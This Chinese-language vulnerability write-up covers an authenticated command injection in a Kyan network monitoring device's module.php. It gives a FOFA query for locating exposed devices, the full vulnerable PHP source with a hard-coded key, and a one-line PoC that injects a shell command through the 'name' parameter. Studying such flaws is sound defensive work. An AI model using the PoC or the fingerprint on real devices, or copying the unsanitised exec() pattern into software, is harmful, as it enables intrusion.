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176 lines
5.1 KiB
Markdown
176 lines
5.1 KiB
Markdown
# Kyan 网络监控设备 module.php 远程命令执行漏洞
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## 漏洞描述
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Kyan 网络监控设备 module.php 可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞，可以获取服务器权限，存在远程命令执行漏洞
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## 漏洞影响
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```
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Kyan
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```
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## FOFA
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```
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app="Kyan设计"
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```
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## 漏洞复现
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登录页面如下
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存在漏洞的文件: `/module.php`
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```
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<?php
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require_once 'config.php';
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require_once 'functions.php';
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require_once 'international.php';
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session_start();
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auth_check();
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$BASH = "";
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if (is_windows()) {
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$BASH = "c:\\cygwin\\bin\\bash --login -c ";
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$PREFIX = "/cygdrive/z/writable/";
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$PREFIX2 = "/cygdrive/z/";
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} else {
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$BASH = "/bin/bashsuid -p -c ";
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$PREFIX = "/config/";
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$PREFIX2 = "/";
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}
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$encrypt_key = 'enc@leadmeet';
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if ($_SERVER['REQUEST_METHOD'] == 'POST') {
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if (!isset($_FILES['fileupload'])) {
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show_error(lang_get('no file specified'));
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exit;
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}
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if ($_FILES['fileupload']['size'] == 0) {
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show_error(lang_get('file size is zero'));
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exit;
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}
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$fileupload = $_FILES['fileupload'];
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$destdir = $PREFIX.'pkgs';
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$pkg_extract_dir = $PREFIX2.'pkgs';
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$tmpname = $fileupload['tmp_name'];
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if (is_windows()) {
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$bn = basename($tmpname);
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$command = "move /Y \"". $tmpname . "\" c:\\cygwin\\dev\\shm\\" . $bn;
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shell_exec($command);
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$tmpname = "/dev/shm/" . $bn;
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}
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shell_exec($BASH."\"mkdir -p /dev/shm/upload && chmod -R 777 /dev/shm/ \"");
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exec($BASH."\"cd /dev/shm/upload && ( bzcat " . $tmpname . " | openssl bf-cbc -d -k " . $encrypt_key . " | cpio -idu )\"", $output, $ret);
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if($ret <> 0)
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{
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show_error(lang_get('Extract file failed'));
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exec($BASH."\"rm -rf /dev/shm/upload\"");
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exit;
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}
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exec($BASH."\"cd /dev/shm/upload && md5sum -c md5sum\"", $output, $ret);
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if($ret <> 0)
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{
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show_error(lang_get('MD5 check failed'));
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exec($BASH."\"rm -rf /dev/shm/upload\"");
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exit;
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}
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if (is_windows())
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$dh = opendir('c:\\cygwin\\dev\\shm\\upload');
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else
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$dh = opendir('/dev/shm/upload');
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if(!$dh)
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{
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show_error(lang_get('can not open dest dir to copy'));
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exec($BASH."\"rm -rf /dev/shm/upload\"");
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exit;
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}
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exec($BASH."\"touch /tmp/mmap_watch_pause\"");
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while($file = readdir($dh))
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{
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if(is_dir($file)) continue;
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$file = trim($file);
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if(ereg('\.pkg$', $file))
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{
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$filetitle = basename($file, '.pkg');
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$extract_dir = $pkg_extract_dir . '/' . $filetitle;
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exec($BASH."\"" . $extract_dir . "/.init stop\"");
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exec($BASH."\"mkdir -p " . $destdir . " && mv -f /dev/shm/upload/" . $file . " " . $destdir . "\"");
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exec($BASH."\"rm -rf " . $extract_dir . " && mkdir -p " . $extract_dir . " && cd " . $extract_dir . " && bzcat " . $destdir . '/' . $file . " | cpio -idu \"");
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}
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}
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if (!is_windows())
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exec($BASH."\"/sbin/ldconfig\"");
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else
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exec($BASH."\"rm -rf ". $tmpname ."\"");
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exec($BASH."\"rm -f /tmp/mmap_watch_pause\"");
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exec($BASH."\"rm -rf /dev/shm/upload\"");
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}
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if (isset($_GET['cmd']) && isset($_GET['name'])) {
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$cmd = $_GET['cmd'];
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if ($cmd == 'delete') {
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$name = $_GET['name'];
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exec($BASH."\"rm -f ".$PREFIX."pkgs/".$name."\"");
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if (is_windows())
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exec($BASH."\"rm -rf ".$PREFIX2."pkgs/".$name."\"");
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}
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}
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print_html_begin('module');
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echo "<body>\n";
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echo "<table style=\"width:500px\" border='0' align='center' cellpadding='3' cellspacing='1'>\n";
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echo "<th colspan=2>".lang_get('modules')."</th>\n";
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echo "<tr><td>".lang_get('name')."</td><td>".lang_get('operation')."</td></tr>\n";
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if (is_windows())
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$dh = opendir('z:\\writable\\pkgs');
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else
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$dh = opendir('/config/pkgs');
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if ($dh) {
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while ($file = readdir($dh)) {
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if (is_dir($file))
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continue;
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$file = trim($file);
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if (!ereg('\.pkg$', $file))
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continue;
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$filetitle = basename($file, '.pkg');
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echo "<tr><td align=center>".$filetitle."</td><td>";
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if (user_is_admin())
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echo "<a href=\"/module.php?cmd=delete&name=".$filetitle.".pkg\">".lang_get('delete')."</a>";
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echo "</td></tr>\n";
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}
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}
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echo "</table>\n<br>\n";
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echo "<table style=\"width:500px\" border='0' align='center' cellpadding='3' cellspacing='1'>\n";
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echo "<form action=\"".$_server['php_self']."\" method=\"post\" enctype=\"multipart/form-data\">\n";
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echo "<input type=\"hidden\" name=\"max_file_size\" value=\"200000000\">\n";
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echo "<th align=\"center\" colspan=\"2\">".lang_get('modules to upload')."</th>";
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echo "<tr> <td align=\"right\" width=\"50%\">" .lang_get('select file')."</td><td align=\"left\"> <input type=\"file\" name=\"fileupload\"> </td></tr>";
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echo "<tr> <td align=\"center\" colspan=\"2\"> <input type=\"submit\" name=\"submit\" value=".lang_get('upload')."> </td></tr>";
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echo "</form>\n</table>\n";
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echo "</body>\n";
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print_html_end();
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?>
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```
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其中需要注意的部分
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```
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if (isset($_GET['cmd']) && isset($_GET['name'])) {
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$cmd = $_GET['cmd'];
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if ($cmd == 'delete') {
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$name = $_GET['name'];
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exec($BASH."\"rm -f ".$PREFIX."pkgs/".$name."\"");
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if (is_windows())
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exec($BASH."\"rm -rf ".$PREFIX2."pkgs/".$name."\"");
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}
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}
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```
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参数均可控，构造POC
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```
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/module.php?cmd=delete&name=;id>1.txt;
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```
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